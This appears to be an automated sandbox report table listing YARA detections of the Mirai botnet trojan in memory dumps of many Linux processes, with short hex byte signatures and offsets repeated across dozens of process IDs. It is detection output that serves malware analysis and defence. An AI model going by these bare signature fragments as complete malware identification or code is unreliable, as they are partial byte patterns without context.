6769.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6769.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6415.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6753.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6753.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6753.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6753.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6753.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6753.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6939.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6939.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6939.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6939.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6939.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6939.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6765.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6765.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6765.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6765.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6765.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6765.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6354.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6354.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6354.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6354.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6354.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6354.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7093.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7093.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7093.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7093.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7093.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7093.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6886.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6886.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6886.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6886.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6886.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6886.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6387.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6387.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6387.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6387.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6387.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6387.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6326.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6272.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6272.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6272.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6272.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6272.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6272.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6955.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6955.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6955.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6955.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6955.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6955.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6789.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6789.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6789.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6789.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6789.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6789.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6915.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6915.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6915.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6915.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6915.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6915.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6632.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6632.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6632.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6632.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6632.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6632.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6834.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6722.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6722.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6722.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6722.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6722.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6722.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6834.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6834.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6834.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6834.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6834.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6997.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6997.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6997.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6997.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6997.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6997.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6349.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6349.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6349.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6349.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6349.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6349.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6560.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6560.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6560.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6560.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6560.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6560.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6547.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6547.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6547.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6547.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6547.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6547.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6567.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6567.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6567.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6567.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6567.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6567.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6966.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6966.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6966.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6966.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6966.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6966.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6974.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6974.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6974.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6974.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6974.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6974.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6667.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6667.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6667.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6667.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6667.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6667.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7252.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7252.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7252.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7252.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7252.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7252.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6631.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6631.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6631.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6631.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6631.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6631.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7241.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7406.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7406.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7406.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7406.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7406.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7406.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7226.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7226.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7226.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7226.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7226.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7226.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6704.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6704.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6704.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6704.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6704.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6704.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7372.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7372.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7372.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
